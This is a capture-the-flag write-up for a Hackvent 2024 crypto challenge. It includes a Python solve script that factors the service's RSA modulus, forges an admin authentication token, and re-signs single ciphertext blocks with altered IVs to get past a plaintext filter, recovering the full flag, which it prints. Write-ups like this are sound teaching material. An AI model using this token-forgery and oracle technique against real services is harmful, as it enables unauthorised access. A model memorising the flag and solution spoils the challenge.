@crypto_router.post("/decrypt")
def decrypt(
user: AdminUser,
key: GlobalSEAESEKey,
rsa: GlobalRSA,
body: DecryptionBody,
):
"""Decrypt things."""
iv = decode(body.iv)
ciphertext = decode(body.ciphertext)
signature = decode(body.signature)
cipher = SEAESECipher(key=key, iv=iv, rsa=rsa)
try:
decrypted = cipher.decrypt(ciphertext, signature)
except ValueError as e:
return {"error": e.args[0]}
if b"HV" in decrypted:
# funny user detected
return {"error": "JUST EXACTLY WHAT DO YOU THINK YOU ARE DOING LOL!!!!!"}
try:
return {"plaintext": decrypted.decode("utf-8")}
except Exception:
return {
"error": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
}
This endpoint is only available to AdminUser
, which is defined in auth.py
as :
def admin_user(user: Annotated[User, Depends(authorized_user)]):
if not user.is_admin:
raise PERMISSION_DENIED
return user
AuthorizedUser = Annotated[User, Depends(authorized_user)]
AdminUser = Annotated[User, Depends(admin_user)]
is_admin()
is defined in the User
class as having a user id of 1:
class User(BaseModel):
username: str
email: EmailStr
password: SecretStr
@property
def is_admin(self):
return self.id == 1
In theory, I can just save the returns from /api/crypto/flag
and submit them to /api/crypto/decrypt
, but there’s a snag:
oxdf@hacky$ flag=$(curl 152.96.15.2:8000/api/crypto/flag -b "seauthtoken=$token" -s)
oxdf@hacky$ curl 152.96.15.2:8000/api/crypto/decrypt -b "seauthtoken=$token" -d "$flag" -H "Content-Type: application/json"
{"error":"JUST EXACTLY WHAT DO YOU THINK YOU ARE DOING LOL!!!!!"}
If “HV” is in the decrypted result, then it fails!
There’s another failure case where the resulting plaintext fails to decode as UTF-8.
Decrypt Flag
SEAESECipher
The SEAESECipher
class takes a key, an IV, and a reference to the global RSA object:
class SEAESECipher(BaseModel):
"""Santas/~~Secure~~ enhanced AES encryption Cipher."""
key: conbytes(min_length=16, max_length=16)
iv: conbytes(min_length=16, max_length=16)
rsa: RSA
It has three functions, encrypt
, decrypt
, and _ecb
. The encrypt
function:
- Breaks the input into 16 byte chunks.
- XORs the first chunk with the 16 byte IV and then gets a new
AES
object in ECB mode and encrypts it. - Subsequent blocks are XORed by the previous block of ciphertext, and then encrypted with a new AES object.
- The resulting ciphertext is signed with the RSA object
@property
def _ecb(self):
"""Underlying inferior AES Mode."""
return AES.new(self.key, AES.MODE_ECB)
def encrypt(self, plaintext: bytes) -> bytes:
"""Encrypt plaintext, returns ciphertext and signature!"""
assert len(plaintext) % 16 == 0
enc = []
blocks = _chunk(plaintext)
enc.append(self._ecb.encrypt(xor(blocks[0], self.iv)))
for i, block in enumerate(blocks[1:]):
enc.append(self._ecb.encrypt(xor(block, enc[i])))
ciphertext = b"".join(enc)
signature = self.rsa.sign(self.iv + ciphertext)
return ciphertext, signature
decryption
is just the reverse.
Decrypt First Block
I already showed that I can pass the flag to the decrypt
endpoint and it does decrypt (even if it doesn’t send to me). The decrypt order is verify signature, decrypt AES, and then XOR with IV. If I can generate signatures (which I can), I can modify the IV such that it XORs the result with something different. Because I know how that IV was modified, I can undo that when the result is sent to me.
This code will setup the attack, cracking RSA, forging an admin token, and getting the encrypted flag and IV:
import json
from base64 import b64encode
from sympy import factorint
import requests
import sys
from challenge.api.santas_encryption.crypto.rsa import RSA
from challenge.api.santas_encryption.utils import encode, decode
host = sys.argv[1]
resp_rsa = requests.get(f"http://{sys.argv[1]}:8000/api/crypto/rsa")
n = resp_rsa.json()["N"]
try:
with open('factors.json', 'r') as f:
all_factors = json.load(f)
except (FileNotFoundError, json.decoder.JSONDecodeError):
all_factors = {}
if str(n) not in all_factors:
factors = factorint(n)
all_factors[str(n)] = [p for p in factors]
with open('factors.json', 'w') as f:
json.dump(all_factors, f)
factors = all_factors[str(n)]
rsa = RSA(factors)
data = {"sub": 1, "exp": "2025-12-17T18:00:36.209531+00:00"}
data_str = json.dumps(data).encode()
sig = encode(rsa.sign(data_str))
body = encode(data_str)
token = f"{body}.{sig}"
sess = requests.session()
sess.cookies.set("seauthtoken", token)
resp_flag = sess.get(f"http://{host}:8000/api/crypto/flag")
def pad(x):
rem = len(x) % 4
if rem > 0: x += "=" * (4 - rem)
return x
ct = decode(resp_flag.json()["ciphertext"])
iv = decode(resp_flag.json()["iv"])
Now I want to modify the IV:
mod_iv = bytes(b ^ 0x55 for b in iv)
mod_sig = rsa.sign(mod_iv + ct)
resp_decrypt = sess.post(f"http://{host}:8000/api/crypto/decrypt",
json={
"ciphertext": encode(ct),
"signature": urlsafe_b64encode(mod_sig).decode(),
"iv": urlsafe_b64encode(mod_iv).decode(),
})
if "plaintext" in resp_decrypt.json():
mod_pt = resp_decrypt.json()["plaintext"]
pt = ''.join([chr(0x55 ^ ord(b)) for b in mod_pt[:16]]) + mod_pt[16:]
print(pt)
else:
print(resp_decrypt.text)
I’m XORing it by 0x55 (anything should work) and then xoring the first block of what comes back by that. In theory this should work, but it fails:
oxdf@hacky$ python solve.py 152.96.15.2
{"error":"JUST EXACTLY WHAT DO YOU THINK YOU ARE DOING LOL!!!!!"}
That’s because there is a “HV” later in the flag beyond the first two bytes. If I cut the ciphertext to just the first block:
mod_ct = ct[:16]
mod_iv = bytes(b ^ 0x55 for b in iv)
mod_sig = rsa.sign(mod_iv + mod_ct)
resp_decrypt = sess.post(f"http://{host}:8000/api/crypto/decrypt",
json={
"ciphertext": encode(mod_ct),
"signature": encode(mod_sig),
"iv": encode(mod_iv),
})
Now it works:
oxdf@hacky$ python solve.py 152.96.15.2
HV24{w3_r0ll_0ur
I can actually go all the way to ct[:48]
:
mod_ct = ct[:48]
And it works to get a partial flag:
oxdf@hacky$ python solve.py 152.96.15.2
HV24{w3_r0ll_0ur_0wn_crypt0_h3re_4ls0_wh4t_4re_s
Get Full Flag
I tried a bunch of things at this point, such as moving the block at offset 48 up to the front where the IV would mess with it:
mod_ct = ct[48:64]
Unfortunately, this always returns an error:
oxdf@hacky$ python solve.py 152.96.15.2
{"error":"https://www.youtube.com/watch?v=dQw4w9WgXcQ"}
This error comes when it fails to decode as UTF-8. It should be XORed by the previous block, but it’s getting the IV, which is likely very different.
But I can use that! I’ll use a call for each block, setting the “IV” to the IV for the first block, and the next block of cipher text for each following block:
for i in range(0, len(ct), 16):
if i == 0:
mod_iv = bytes(b ^ 0x01 for b in iv)
else:
mod_iv = bytes(b ^ 0x01 for b in ct[i-16:i])
mod_ct = ct[i:i+16]
mod_sig = rsa.sign(mod_iv + mod_ct)
resp_decrypt = sess.post(f"http://{host}:8000/api/crypto/decrypt",
json={
"ciphertext": encode(mod_ct),
"signature": encode(mod_sig),
"iv": encode(mod_iv),
})
if "plaintext" in resp_decrypt.json():
mod_pt = resp_decrypt.json()["plaintext"]
pt = ''.join([chr(0x01 ^ ord(b)) for b in mod_pt[:16]]) + mod_pt[16:]
print(pt, end="")
else:
print(resp_decrypt.text)
print()
This gets the full flag:
oxdf@hacky$ python solve.py 152.96.15.2
HV24{w3_r0ll_0ur_0wn_crypt0_h3re_4ls0_wh4t_4re_standards?_HV_HV}
Flag: HV24{w3_r0ll_0ur_0wn_crypt0_h3re_4ls0_wh4t_4re_standards?_HV_HV}